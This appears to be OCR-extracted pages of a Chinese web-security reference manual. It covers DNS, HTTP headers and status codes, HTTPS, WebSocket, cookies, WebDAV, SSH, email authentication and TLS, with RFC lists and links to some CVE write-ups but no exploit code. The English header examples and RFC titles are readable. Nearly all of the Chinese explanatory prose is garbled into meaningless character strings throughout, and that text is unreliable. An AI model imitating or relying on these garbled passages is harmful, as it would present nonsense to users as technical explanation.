DGA A Z A 0730, MRIEFhT-ZEBmT LA il PERUAR B 2 MR A e AN MERY DT 7T E Sk 1)
BRI —LERII R, AER (5 A

DNS [#iE
DNS B3E T HARF A RS ) AP O B2 ) DNS Wiy, FEREIE EARH) . X o4t Hh il e EA T/
2.6.7 RDAP

RDAP (Registration Data Access Protocol) WM& Whois PMMK) G4k, 1 Whois L, RDAP 13z
T4 . HIRERS. 1P HilkiE B4 .

2.6. WHERG 21
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2.6.8 H=XimiR
DNS &

DNS #2050, A IRl 77 SOl el ks i o5 &, B2 hids DNS IRk, RAF
A AT RIS SR TP Huhk.

Wt LR A 2, i B T BT IR SR IC SR SR 2 X AP 20K A 37 St IR Gk 44 i) AT o
TR =G, AR =07 RGBS, ITICSRIHFBCA U, TEXFART, ATRART Y Hig 58 =J7 %R,
PABRIEG Sl AT SR A E

1ELEAR 55

DNS 45797/ UDP 311, 24 DNS [R5 %4t 2k NS isgif, ilif DNS iy UDP 415k
i T LASE B i TR 24 55«

2.6.9 HXxH#

ICANN

H IR 2 7 58 ik LR (Internet Corporation for Assigned Names and Numbers, ICANN) 41
1998 4% 9 H 18 H, HHEeGEE A A IP Huhk i)/ lic 55 -5 H M AH & AE55

IANA

HEM S50 Hc /5 (Internet Assigned Numbers Authority, TANA) |, J&—F HEMHHEFEIRALI , 45 B IE PR
HIRM AR IP bt . A4 V2 e S BIH .

2.6.10 Ri=E
mDNS

Multicast DNS (mDNS), £#% DNS, {#if 5353 #g 1, HiFHibl 2l 224.0.0.251 5 [FF02::FB] , ff—
MEA I DNS [l 552509/ 28 N AT PAfE A mDNS SESCHIZEAl DNS pydafesz 0. s XS X
mDNS ¥ 4R SCE DNS B SCE5HATR], HASEFE BT mDNS SRl A #ii & Lo

JE2)) mDNS B EWLFESEA SRk G e g EVLAEREE, O EV4. IP SFEE, HAWA MRS 1
FHL R & B IP 115 E

mDNS i 2 . local A1 4% X1 .
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FQDN

FQDN (Fully-Qualified Domain Name) 24 552, TEEOEZERKENRIRE , Bl vww . example.

com. o

TLD

Top-Level Domain (TLD) & )& TR —M8, Bil4n com B jp .

TLD —f% 7] PA%3>A Country Code Top-Level Domains (ccTLDs) . Generic Top-Level Domains (gTLDs) DA
KHE.

IDN

Internationalized Domain Names for Applications (IDNA) J&4 T AbFRIE ASCIT FEAFHIAE I -

CNAME

CNAME HJJ Canonical name, XFF alias, JfIEi4% 38 1H 55— 84 .

TTL

Time To Live, JofF5 8%, 125 DNS iCRi IR E], f/vE 0, fokgd 2147483647 (2731 - 1),

2.6.11 &E5E
RFC

e RFC 920 Domain Requirements

e« RFC 1034 DOMAIN NAMES CONCEPTS AND FACILITIES

e« RFC 1035 DOMAIN NAMES IMPLEMENTATION AND SPECIFICATION
e RFC 1123 Requirements for Internet Hosts — Application and Support

e RFC 2535 Domain Name System Security Extensions

o RFC 2930 Secret Key Establishment for DNS (TKEY RR)

o RFC 2931 DNS Request and Transaction Signatures ( SIG(0)s )

e RFC 3596 Legacy Resolver Compatibility for Delegation Signer (DS)

e« RFC 3755 DNS Extensions to Support IP Version 6

e RFC 5001 Automated Updates of DNS Security (DNSSEC) Trust Anchors

2.6. BERG 23


https://www.rfc-editor.org/rfc/rfc920
https://tools.ietf.org/html/rfc1034
https://tools.ietf.org/html/rfc1035
https://tools.ietf.org/html/rfc1123
https://tools.ietf.org/html/rfc2535
https://tools.ietf.org/html/rfc2930
https://tools.ietf.org/html/rfc2931
https://tools.ietf.org/html/rfc3596
https://tools.ietf.org/html/rfc3755
https://tools.ietf.org/html/rfc5001
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e RFC 5936 DNS Zone Transfer Protocol

e RFC 5966 DNS Transport over TCP - Implementation Requirements
o RFC 6376 DomainKeys Identified Mail (DKIM) Signatures

o RFC 6762 Multicast DNS

e RFC 6891 Extension Mechanisms for DNS (EDNS(0))

e RFC 6895 DNS IANA Considerations

e RFC 7766 DNS Transport over TCP - Implementation Requirements
o RFC 7858 Specification for DNS over Transport Layer Security (TLS)
e RFC 7871 Client Subnet in DNS Queries

o RFC 8082 NXDOMAIN

e RFC 8482 Providing Minimal-Sized Responses to DNS Queries That Have QTYPE=ANY
o RFC 8484 DNS Queries over HTTPS (DoH)

e RFC 8490 DNS Stateful Operations

o RFC 8499 DNS Terminology

Whois g%

» RFC 812 NICNAME/WHOIS

» RFC 954 NICNAME/WHOIS

o RFC 2167 Referral Whois (RWhois) Protocol V1.5
e RFC 3912 WHOIS Protocol Specification

e« RFC 7485 Inventory and Analysis of WHOIS Registration Objects

RDAP #E3%

o RFC7480 HTTP Usage in the Registration Data Access Protocol (RDAP)

o RFC7481 Security Services for the Registration Data Access Protocol (RDAP)
e RFC7484 Finding the Authoritative Registration Data (RDAP) Service

o RFC8056 Registration Data Access Protocol (RDAP) Object Tagging

o RFC9082 Registration Data Access Protocol (RDAP) Query Format

o RFC9083 JSON Responses for the Registration Data Access Protocol (RDAP)

2 Chapter 2. HEHLFIL Sl


https://tools.ietf.org/html/rfc5936
https://tools.ietf.org/html/rfc5966
https://tools.ietf.org/html/rfc6376
https://tools.ietf.org/html/rfc6762
https://tools.ietf.org/html/rfc6891
https://tools.ietf.org/html/rfc6895
https://tools.ietf.org/html/rfc7766
https://tools.ietf.org/html/rfc7858
https://tools.ietf.org/html/rfc7871
https://tools.ietf.org/html/rfc8082
https://tools.ietf.org/html/rfc8482
https://tools.ietf.org/html/rfc8484
https://tools.ietf.org/html/rfc8490
https://tools.ietf.org/html/rfc8499
https://tools.ietf.org/html/rfc812
https://tools.ietf.org/html/rfc954
https://tools.ietf.org/html/rfc2167
https://tools.ietf.org/html/rfc3912
https://tools.ietf.org/html/rfc7485
https://tools.ietf.org/html/rfc7480
https://tools.ietf.org/html/rfc7481
https://tools.ietf.org/html/rfc7484
https://tools.ietf.org/html/rfc8056
https://tools.ietf.org/html/rfc9082
https://tools.ietf.org/html/rfc9083
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LS 23
» Registration Data Access Protocol (RDAP)

IR

e Unbound

e bind9

MREXE

o DGA HAMA LR G, Kl ke
« DNSSEC JEB 157

¢ Plohmann D, Yakdan K, Klatt M, et al. A comprehensive measurement study of domain generating
malware[C]//25th {USENIX} Security Symposium ({USENIX} Security 16). 2016: 263-278.

e An End-to-End Large-Scale Measurement of DNS-over-Encryption: How Far Have We Come?

3% CVE

e SIGRed — Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS

Servers

2.7 HTTP {hilF%

2.7.1 HTTP %

WIHEX

TERRIAERX

<method><request-URL><version>

<headers>

<entity-body>

2.7. HTTP il 25


https://about.rdap.org/
https://github.com/NLnetLabs/unbound
https://github.com/isc-projects/bind9
https://mp.weixin.qq.com/s/xbf0Qbppk8R0nx89Pb4YTg
https://blog.thecjw.me/?p=1221
https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/
https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/
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) Rz 46 SCHE =X

<version><status><reason-phrase>

<headers>

<entity-body>

FERER

e method
— HTTP #hi#
— W Ky HEAD / GET / POST / PUT / DELETE / PATCH / OPTIONS / TRACE
— P H¥E: LOCK / MKCOL / COPY / MOVE
e version
— oA HTTP fiiA
— ¥3 & HTTP/<major>.<minor>
e url

— <scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag>

HERLIIR
e Accept
— FRER S RET R N A
— Accept: text/plain, text/html
e Accept-Charset
— WUEE AT AR Z B AT i i
— Accept-Charset: iso-8859-5
e Accept-Encoding
— FREW EER T LASCRRHY web ik 55 #3111 A 25 e 4 24 i 2 20
— Accept-Encoding: compress, gzip
e Accept-Language
— WS A A

— Accept-Language: en,zh

26 Chapter 2. HEHFLE S5l
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Accept-Ranges
— ATDATR N DS ) — Al 2 T 7B
— Accept-Ranges: bytes
Authorization
— HTTP BN HEAGES
— Authorization: Basic QWxhZGRpbjpvcGVulHNIc2FtZQ==
Cache-Control
— FEEVE KA B EAE ) ZZAEL ] Cache-Control: no-cache
Connection
— FRREHRERAER: /) HTTP 1.1 A TR ER:
— Connection: close
Cookie
— HTTP R AN, SACRAFAEIZE KIEAS THIFTA cookie ([H—R AR % web R 554%
— Cookie: role=admin;ssid=1
Content-Length
— WK NERE
— Content-Length: 348
Content-Type
TR LA MIME {5 5

Content-Type: application/x-www-form-urlencoded

Date

TR A IE B H YA A]

Date: Tue, 15 Nov 2010 08:12:31 GMT

Expect
— R E RS 41T
— Expect: 100-continue

From

AR ) Email

From: user@email.com

Host

2.7.

HTTP {hilt&

27


mailto:user@email.com

Web-Sec Documentation, 475 1.0

— TEERA IR S5 2 A A 15
— Host: www.github.com
o If-Match
— HAHRNA S LA TR A A AL
— If-Match: ”737060cd8c284d8af7ad3082f209582d”
o If-Modified-Since
— QSRAE SR A AR M EHG & I 1) 2 SR OSSR, AR ez ml 304 A
— If-Modified-Since: Sat, 29 Oct 2018 19:43:31 GMT

o If-None-Match
— ARNERAASLR ] 304 (CH, SHONISS S IChl Kish) Btag, SHRSS &IV Etag HAL
Lo &
— If-None-Match: ”737060cd8c284d8af7ad3082f209582d”
o If-Range
— QRECHOREE , IRSFAS SR P RISy, MR IRREA S . SRl Etag
— If-Range: "737060cd8c284d8af7ad3082f209582d”
o If-Unmodified-Since
— FUE ST RE I 8] 2 J5 RBUE A 315 K )
— If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
o Max-Forwards
— PR R A A A% 1R ) )
— Max-Forwards: 10
e Pragma
— RS LI ER TR
— Pragma: no-cache
e Proxy-Authorization
— R EAOE T
— Proxy-Authorization: Basic QWxhZGRpbjpvecGVulHNIc2FtZQ==
« Range
= HUERIR I —HB0, $EEH

— Range: bytes=500-999
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Referer
— SEETMI T AL, 24 R M TR R, Bk
— Referer: http://www.zemhi.com /archives/71.html
TE
— KB RS, AR SS AR R RN S AE R
— TE: trailers,deflate;q=0.5
Upgrade
— [ AR S5 T S A S DATE R S5 2R e TG A (SRS Hs)
— Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA /x11
User-Agent
— User-Agent BJNZALE A K ag BT 15 B
— User-Agent: Mozilla/5.0 (Linux; X11)
Via
— JE ] 9 S AR S5 g, GEAE P
— Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning
- KTHESR AN ESEFR

— Warn: 199 Miscellaneous warning

EIVEIES

Accept-Ranges
— RWIIR S5 #5215 SRR E 8 R K A AL 0 43 Bri ok
— Accept-Ranges: bytes

Access-Control-Allow-Origin
— BCEA AR ) A
— Access-Control-Allow-Origin: <origin>|*

Age
— MEIR RS 25 B IR AE T U ST ) (LARDE, dE1R)
— Age: 12

Allow

2.7. HTTP il
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— RPHER L BRI R SRAT R, AN SRR ) 405
— Allow: GET, HEAD

¢ Cache-Control

— HURBTA R ZAFHL ] Je 15 0] DAZEAT SRR 2

— Cache-Control: no-cache

e Content-Encoding

— web [ 55 #% SRR ] A A R GRS 28 2 .

— Content-Encoding: gzip

e Content-Language

— Wi AR T

— Content-Language: en,zh

e Content-Length

L CIVALNOE N

— Content-Length: 348

¢« Content-Location

— WORBEIR AT ACH A ) 5 — Mtk

— Content-Location: /index.htm

¢ Content-MD5

— R[] YR MD5 AL
— Content-MD5: Q2h1Y2sgSW50ZWdyaXR51Q==

e Content-Range

— TEREANIR [l (A AR TR ) T AL

— Content-Range: bytes 21010-47021/47022

e Content-Type

— R[N MIME 2624

— Content-Type: text/html; charset=utf-8

e Date
— JELBR IR 55 2 S A L s [
— Date: Tue, 15 Nov 2010 08:12:31 GMT
e ETag
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— WORAS I SR TRAE Y 24 B

— ETag: ”737060cd8c284d8af7ad3082{209582d”
Expires

— W A SR B T

— Expires: Thu, 01 Dec 2010 16:00:00 GMT
Last-Modified

— RGN A5 18 2 )

— Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
Location

— FREE O BRI R URL (078 52 0 >R s H T 1 ¥ 5

— Location: http://www.zcmhi.com/archives/94.html
Pragma

— IR ERIAE L, BRI BLEE b AT E Oy

— Pragma: no-cache
Proxy-Authenticate

— B HIAIETT AR R B A% URL _ERSHL

— Proxy-Authenticate: Basic
Refresh

— T EE BRSNS, 75 5 B2 REE R (ISR E, RO b 52
£¥)

— Refresh: 5; url=http://www.zcmhi.com/archives/94.html
Retry-After
— QSRS ATH, Sl S E I R 25 PR
— Retry-After: 120
Server
— web [R5 ARERIE4 PR
— Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
Set-Cookie
— & B Http Cookie Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1

Strict-Transport-Security

2.7.
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B BEAS 5 I ] HTTPS 3517
max-age: X FPIHF ] Y15 )6 B I 2% #00E F HTTPS 5K
includeSubDomains: &k i34 0 = A 0l

Strict-Transport-Security: max-age=1000; includeSubDomains
e Trailer
— $R KIS AL i A Y 2 R AFAE. Trailer: Max-Forwards
e Transfer-Encoding
— X
— Transfer-Encoding:chunked
e Vary
— YRR () A7 i o M A R 55 i oK
— Vary: *
e Via
— SRR g [ A A WP L A A Y
— Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
e Warning
— SRR BEAAERY 1) A
— Warning: 199 Miscellaneous warning
e WWW-Authenticate
— R i SR SR B RO S
— WWW-Authenticate: Basic
¢ X-Content-Type-Options
— MBI MIME AR
— X-Content-Type-Options: nosniff
¢ X-Frame-Options
— FCEUEE R ITE <frame>, <iframe>, <embed>, <object> SEFR2Hr, By 1k i F
— X-Frame-Options: deny
e X-XSS-Protection
— P XSS Pl
— X-XSS-Protection: 1; mode=block
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HTTP RZRE T3 1xx (ImBFoEsz)

BRI R ) B2 75 B R RS AT A E RS A

Code | (%5 i
100 | 4k&: Hie 55 A o B A S Fon CUCGEIE RIS —H 0, RS R ARy
101 | Uil | SR CEORIRGS AR U s, RIS S E i & DI

HTTP KEHREIRED 2xx  (FZh)

FOR IS TR AR ACRD .

Code | K75 bz

200 | AN MRS AFC ML B TR H, XFIRIRSAFEHL T3 R0 W 1
201 | Bz TR R 55 a5 B TR n v

202 | X M55 A 2GR, (Hi AR

203 | AAUER | IS AN EE TR, (HaR ] A5 B AT BESR A 75— KR

204 | ENE Hie 55 A AR BE TR, (BB R LA Y 2

205 | EEANA | m REGAEIVEI TR, HRCA IR N2

206 | WA | IRFSEEENAEE TR GET 3R

HTTP RZREE 3xx (EERM)

FORBSEROEK, PR W, KRS AR EE .

Code| {X%5 1A
300 | ZFPESE | EPXTER, RSV PATEZMEAE. RS TR K (user agent) HEFF—TI#EE,
PR E D R R
301 | kAFLE | ERAYM T E K AR EHOLE . RS aR BN, (X GET o HEAD &K ALY )
B, 2 H3EEREE RO .
302 | ImESRLSN | ARSS% H BT A [E) A7 P B0 B 3 K, AR SR W gk sk 0 A O R 3T DA )
K.
303 | A HA | R N XN RO E S Bk GET 3SRORKE RN, AR5 ik [m AR
(AS
304 | K&k HM B RIG, R MRS ST . RS e B R, A2 ] R 0 Y 45 .
305 | EAACEL | EsRE A A ARFR DT AR AGP TT . AN SS #3831 SR M AT
3,
307 | s EE | RS #s H RIS BB W T B R, (EE SR M Akl R A EOR AT A
Ii1) WK
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HTTP RKEHREIRES 4xx (FHREEIR)

RS FOR TR TR A, Wikt TR SF e i AL 2

Code | K55 AR
400 | HFRIEK Jk 55 s AN BRI R
401 | REAL TR EER BARIRIE . X T T B SRR M TT, AR 5545 T AR [m] i B
403 | 2k [ & e
404 | R#xkF MR 55 #RER A SR M 7T
405 | FriEEEH S K R I v
406 | Rz TV A PR SR PN AR i 17375 5K 1) 1 B
407 | FFEACHLEZAL RIS S 401 CREZRL) M0, (HF5 2 1 5K E 24 B AU AR
408 | R Ik 55 S S5 A SR I 2 A A
409 | mhoe IR 5 A8 52 I SR R AR g8 o IR S5 AR A B AL B G 215 B
410 | BB WA KB TR TR AR, R 55 st o [l st 1
411 | FEAMKSE IR 5 2§ AN A S N A BE bR Sk B oK
412 | KW E AR IR 55 A T A2 1 SR AR T SR B ) L — AN TR AR
413 | R SRR NRE5 25 TCEAL BRI K, PR SRR, IS5 #a i AL P g
414 | Wk URI K WoRE) URD GlENREE) K, IR ICEARE.
415 | AERREARE | RSS2 R U 1) SR
416 | ORI BN AF A | AR I TOYA SR AT SR AR, AR 552 2k [ HORES A
R
417 | R JR 55 FR AT 27 BAEEY SR bR Sk B K

HTTP KZEE KD 5xx (ARFEHEIR)

LRSI ZR MR S5 S e 2 AL BTSSRI A R 2 X LUAF IR ] RE R R 5 AR AN B B R, AN 2 37K
i

Code | X3 A
500 | Hieds Ak T iR e d5 aiB B AR, JCIRSE K
501 | HARSEHE e 55 5 A B A S R DIRE . BN, AR5 28 TR R KO IR il fE iR
[ A o
502 | BRI K W95 e AR I S AR, AN 30 iR 55 e 2 TE R0 1
503 | g5 AHT e g5as HEITCIEGN (i TREEUFILEY) . i, X 2 E PR,
504 | [ e g5 A g W e R, R BRI A il Al 55 s s oK
505 | HTTP MUAAZSL | M55 A SCRFE R B il HTTP Pl
FF
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2.7.2 HTTP gk
HTTP

HTTP 28T TCP/IP Ml R, EERUE 7% AR5 & Z AR (s A% 2, BRG] 80 digH -

HTTP 0.9

HTTP 0.9 fFAE 1991 4F %A1, AUCFF GET s, iR R BAY GET /url |, fiz55 s {Xmd . HTML,
Wi | 58 52 5 K ) TCP 4%

HTTP 1.0

1996 4 5 H, HTTP/1.0 iiA k1, F& TmptgAfngs, 5| AT POST. HEAD #-~3hial. M 1.0
TG, OAAHE TP ISR A . 76 1.0 1, W5 A TARE (status code). ZFEFFELRE. 20 Kkik
(multi-part type). ffR (authorization). ZEff (cache). WA ZIS (content encoding) 55N ZA .

HTTP 1.0 i) FE B0, 84 TCP HH HAE A — MR, KisBuses, Rk, WRiE2Hs
SRIABEIR, WA R — A 1 .

TCP LA HMAMR S, POVTREE s 6 =g+, I HITIRm Ak R RS (slow start), Jt
PA, HTTP 1.0 A HIPERE LA 22

HTTP 1.1

1997 4 1 J, HTTP/1.1 fiAkA, #E—H5%% 7T HTTP thil. 1.1 AR FZRTIA TRAERE . EiEbl
#il. Content-Length. ¥ EMdnig s zs. BEyLH EIZER—4 TCP 8B, &\ m ] AR &% %
AR, SXREREMCHE T HTTP Py iy®. PUT. PATCH, HEAD. OPTIONS. DELETE %5
ST HTTP 1.1 ARSI AR . 5340 11 AHiH T Host 7B, M THe @RS , X2 5k Bl 3
B DAK I Bt

AR LY RAVE N TCP ik, (HEF—4 TCP RN, Fra B & iritirm. mosasR
AP, A ST — DY R — MRS, S BE SR K.

SPDY

2009 47, WHAIF T BATORAR) SPDY #80, T HTTP /1.1 BeRRmm I, 54 i HTTP /2
{UE-S T

HTTP/2

2015 4F, HTTP/2 %A, HTTP/2 24"t fiis, kA SAE A —uth], ZEhoami (frame), i
o Rk A iR i, HTTP/2 ] TCP @4, fE— MR, &/ hm A sl nl AR i 5k 2 A

2.7. HTTP il 35



Web-Sec Documentation, 475 1.0

SREEIR, T HLAS 4 R 11 7

2.7.3 HTTPS

&

HTTPS (HyperText Transfer Protocol over Secure Socket Layer) w] PAMf# >l HTTP+SSL/TLS, Bl HTTP
FIA SSL 2, HTTPS f{% 4 5hfi2 SSL.

XE
UEHB ISR B

o WYSHEE HTTPS ik
o Mg %EEN HTTPS ik
— e sy
* WA B,
A

o HPURBEIEIER R G A, R GRS

HiREm b

o MUEBEAEATRG, TEAMAE MR

o G AFIMEREILEL, FHEME G B REHLEE 5 2R 55 o

o RS i A AL BED LB TR

o MR55 i A P A A AR B R Sk, iR a5 2R N A T 0 ) e

CA

CA (Certificate Authority) @& EFUEBRINIY . 2 75T AR BT IEB AN, T TR
F R ZAFATIEE =07, A AP R P AP AR THT .
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2.7.4 WebSocket

&g

WebSocket J&—F A4 tML, FIHESRA TCP iR Fil TN T E, (2T OSI BiBlf N HZ. Web-
Socket WMIAE 2011 4E iy IETF #riifkl RFC 6455, J5H RFC 7936 M58 HITE .

XE

#F

2 FBrBofl HTTP HhilB k2, REC SO 4 AR Fon Bl T -

GET /chat HTTP/1.1

Host: server.example.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: dGh1IHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+x0o=

FHrr Upgrade AN websocket , Connection [{EMM A Upgrade , G RFRE T im =K IERE T4
2] Websocket 1% .

Sec-WebSocket-Key 2 — N B #L {H, Sec-WebSocket-Accept s Sec-WebSocket-
Key BE OB OB O Mo 258EAFA5-E914-47DA-95CA-C5ABODC85B1 1 i SHA1
WE G W Base64 i 1S 0y EH. B F b $3pPLMBiTxaQ9kYGzzhZRbK+x00= o2

dGh1TIHNhbXBsZSBub25j2Q==258EAFA5-E914-47DA-95CA-C5ABODC85B11 X 1 SHA1 %L,

2.7.5 Cookie

[h1

Cookie (SZHUEZ Cookies), FANy [/NMSCASCHR L, FaFEBm A 7 B 50 B O3 0 778 1 A L 4
iy b R R

2.7. HTTP il 37




Web-Sec Documentation, 475 1.0

B

name

cookie 15

value

cookie HMH.

expires

4 Expires J@IEEAE T, g it Cookie, 57 5 HI Y AR I R 2o

max-age

max-age A] DUAIESL. 4. 0. WIER max-age JEMAIEENS, WEARSFHIFAMN, Y max-age JEH N7
B, NMFERiZ Cookie Hig— 4Gtk Cookie, 24 max-age & 0 B}, NI< 7 BIHEEIX S Cookie, Expires #ll
max-age FMFLEMISMF T, max-age fLIEH H 5.

domain

FgE Cookie BYIH44, BRIAZ Y HTI4 . domain 3% E B Al DA E N B 5 M HACH, 13807 DA 1) 583
Cookie, RZABE.

path

FAE 4> URL B2, XA BRSO SR I BRI A o A T AKCGE RS ) Cookie.

secure

R HTTPS 4.

httponly

FR#fi| Cookie {{FE HTTP tefid AR P, —ERE LFiH XSS M.
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SameSite

SameSite %1 Strict / Lax / None =F{H . Strict fx hks, 5842251158 =J Cookie, E&ufiSiit, (Al
LN K% Cookie. Lax fuiFilisr 4 = Iy K Cookie, FELRHHE. fiimak. GET RE=FpELL.
Cookie [ SameSite J@PEH None , Hi%E T Secure B, Tt RAEIER#2 %% Cookie,

2.7.6 WebDAV

[h1

WebDAV  (Web-based Distributed Authoring and Versioning) —#p3F HTTP 1.1 $hFEENL. B
J& 7 HTTP 1.1, £ GET. POST. HEAD % JLA> HTTP ARk LASNE I T L85 vk, 0y T
A Web Server B35S, H RS CI8E . MO, PARKUAREEHISEYI6E .

SCRA 5 Ay -
. OPTIONS
— BRI S5 A0 S8
« GET / PUT / POST / DELETE
— BRURERE
« TRACE
— BRERR 55
« HEAD
« MKCOL
- QIEEA
« PROPFIND / PROPPATCH
« COPY / MOVE

« LOCK / UNLOCK

#Hx CVE

« CVE-2015-1833

— Apache Jacrabbit WebDav XXE

— http://www.securityfocus.com/archive/1/535582
« CVE-2015-7326

— Milton WebDav XXE
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— http://www.securityfocus.com/archive/1/536813

2.7.7 BBk
RFC

o RFC 3253 Versioning Extensions to WebDAV (Web Distributed Authoring and Versioning)

o RFC 3648 Web Distributed Authoring and Versioning (WebDAV) Ordered Collections Protocol
o RFC 3744 Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol

o RFC 4437 Web Distributed Authoring and Versioning (WebDAV) Redirect Reference Resources
e RFC 4918 HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)

o RFC 5323 Web Distributed Authoring and Versioning (WebDAV) SEARCH

o RFC 5842 Binding Extensions to Web Distributed Authoring and Versioning (WebDAV)

o The WebSocket Protocol

e (larifying Registry Procedures for the WebSocket Subprotocol Name Registry

Blog

e What should a hacker know about WebDav

o Cookie 1) SameSite J&

o HTTP tHi ATl

2.8 SSH

2.8.1 #§% CVE
CVE-2018-15473

CVE-2018-15473 FLi1F45 i a2 ik [ 1) 5 AR BUIR S5 s AFAE I 44, %520 OpenSSH <= 7.7 Bk
PN

CVE-2016-20012

CVE-2016-20012 A 5% umre RHLE ASME BRSO T #id SSH.MSG _USERAUTH__REQUEST ik [
KPS RETTDUE A < P, A > M.
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H1 T OpenSSH MIF A F N B EAN SAINUETT K S/ 2ETF2ZIM client SHRAGIMIIE , DRIHCBAT X
g,

HIHIHETT LS %X PR,
2.8.2 BEEE
RFC

Protocol Architecture

SSH

RFC 4251 The Secure Shell

RFC 4252 The Secure Shell (SSH) Authentication Protocol

RFC 4253 The Secure Shell (SSH) Transport Layer Protocol

(SSH)
(SSH)
(SSH)
(SSH)

SSH) Connection Protocol

RFC 4254 The Secure Shell

RFC 8308 Extension Negotiation in the Secure Shell (SSH) Protocol

BEREEEES

e CVE-2016-20012 - Publickey Information leak - Only allow SSH__MSG__USERAUTH_ REQUEST with

signature

73

e Roy L, Lyakhov S, Jang Y, et al. Practical Privacy-Preserving Authentication for SSH[J]. Cryptology
ePrint Archive, 2022.

2.9 B4 iNi%

2.9.1 &
SMTP

SMTP (Simple Mail Transfer Protocol) J&—F e, FHE AL, 2—4 T A IEHIEE] B F)RhEAE
HRPFRRRIE . AJE ) SSL Wi 524 25, ] SSL i 145222 465 5 994.

POP3

POP3 (Post Office Protocol 3) HF 7 F & i o A2 B BIAE IR 45 o5 LA B TR A SSL i 115
S 110, JEA SSL Wi 5%k 995,
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IMAP

IMAP (Internet Mail Access Protocol), BIAZ H A MEAAFE L, B2 POP3 ZEMRIMRAE; AR HEML L —.
AFEE, HET IMAP 5, GTEH-FHREE PO iR A AR R BB TER 5545 b, RIBFTER P b A #RAE
o B MRS 25 b, an: MEREREE, ARice s, MRS BRI BUAHN sV . NS SSL Eig 1
54 143, B SSL i 154 993,

2.9.2 PhiPRHER

SPF

KA NHEHESE (Sender Policy Framework, SPF) /22— fL FERPHAMENLE], AT HRIAAE T HECE 25 i Pk
BRI S5 fe a5, B 1A N D B B0y M 454 fa ol g th SR s PR . SPF Ao iF g B A € —1> DNS TXT
TESREL SPF 0% AOsmp PRI # i) IP Jul, WAL ATHRAEH AR iR SR I TP Huhkay i, IR
] BB MR E I AERA S i R 25 F A

DKIM

04 35 HUBISF (DomainKeys Identified Mail, DKIM) f2—Fill iy T % PF A AL Oyith ik . %%
Iy £AEMRPE IS A DKIM-Signature, WefkJyillid 7y DNS iegeii AGIRm IE £ PF A1 5 .

DMARC

FT MR EBIAIE. 5 F—8 M (Domain-based Message Authentication, Reporting and Conformance,
DMARC) J&HL T HR A B B uE ML, T e BB (A v S s g da 4 FH B8R A i 48 A — B0 R0, BE3E
DMARC fi#r, i@t SPF 5 /F DKIM [ B350k, H535ZARK Mk d i dak 2 w1 5 280 B B k1)
W4 —3.

2.9.3 S5
RFC

o RFC 4408 Sender Policy Framework (SPF) for Authorizing Use of Domains in E-Mail, Version 1

e RFC 6376 DomainKeys Identified Mail (DKIM) Signatures

o RFC 7208 Sender Policy Framework (SPF) for Authorizing Use of Domains in Email, Version 1

e RFC 7489 Domain-based Message Authentication, Reporting, and Conformance (DMARC)

o RFC 8301 Cryptographic Algorithm and Key Usage Update to DomainKeys Identified Mail (DKIM)
e« RFC 8463 A New Cryptographic Signature Method for DomainKeys Identified Mail (DKIM)

e RFC 8616 Email Authentication for Internationalized Mail
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e« RFC 8611 Mail

R

e Sender Policy Framework wikipedia
e DomainKeys Identified Mail wikipedia

e DMARC wikipedia

MREXE

e Composition Kills:A Case Study of Email Sender Authentication

2.10 SSL/TLS

2.10.1 &4

SSL 4F5j2 Secure Sockets Layer, %&EHFR, BRMMEAT (Netscape) £ 1994 4EHf T, E3M
T Web Byl , HAE R MAGEEHR AR . NI MBS B IR . 4, SSL C&Ch
TR P PR A Y ol bR

SSL s #IHJLANHA (SSL 1.0, SSL2.0. SSL 3.0) Mt A a4, M 3.1 AT 4G, SSL il
FAEN TAAMTS /N (IETF) IE8, I3 48 TLS(Transport Layer Security), XBEZE4EH TLS 1.0,
TLS1.1, TLS1.2. TLS1.3 XJLAMRA.

0 TLS #5ri, SSL/TLS Ml ULz 24 Ry, dF sl B Bt (B ik 13dLal), SSL/TLS
ARERON TR Z Bk (multi-hop) S bmid (7, i LRI WU E LA -

SSL/TLS s AR F it 22 4x H AR FHEAFE T ILA:
o NIEE
— BT UEATAUERR 55 S i A i B Oy, B Lk S Oy D
— BG4 =07 5y
o SERETE
— fEBIHEINIERS (MAC) fREEEn SR, By R IH S
o HJRPRD
— i i S By 1 R
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N TR AR, SSL/TLS MRSasit h— AW Betisl, 7 A de B BERIY B B :

2 FBr BB B, FEX—BrBe, & an AR SS i AU 7 By (OB PRI (AR, MR IR
AT S BINIE) . FFEIIRTE N A SR BHEIFA L MasterSecret . 5228 (BT A #9102
1L MasterSecret 42 p. TEMRTHrESEMUG , HEAR T Be. RN B B (5 AU (8 48 T Hr B i e )
BT 2 Al -

2.10.2 #pi¥

TLS W& LAY, OB I RAIC TR BRI, BT A E R A .

LR il

s (Record Protocol) #iE 7 TLS W A BHRA A BN {C 5% (record),

EHRL

EA I (Alert Protocol) M TFH/n il < Hid At B iR -

EF L

{2 T3 (Handshake Protocol) 2 TLS BRI AH9 THHL, 7e FaLRE R HyRT TLS KAS . HbLEC 57
BIFSEE, RIFCHIEBREHSE, B WREEILEES, AT RS AN R4

TEEEAEDHW

AR AT ALE MY (Change Cipher Spec Protocol) J&—A “HlAI”, &UFXITr, ek Soal-rs o n s £
AR

2.10.3 FFTEHTE
Client Hello

Client Hello l%& P &%, NAGREE Fimiy— Unix BEE (GMT Unix Time), —2EREHLH ST
(Random Bytes), iRFE T % i 2 a5 257 (Cipher Suites),

Server Hello

Server Hello IR 553 K15, WA LA A . GMT Unix Time PA K Random Bytes,
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Certificate

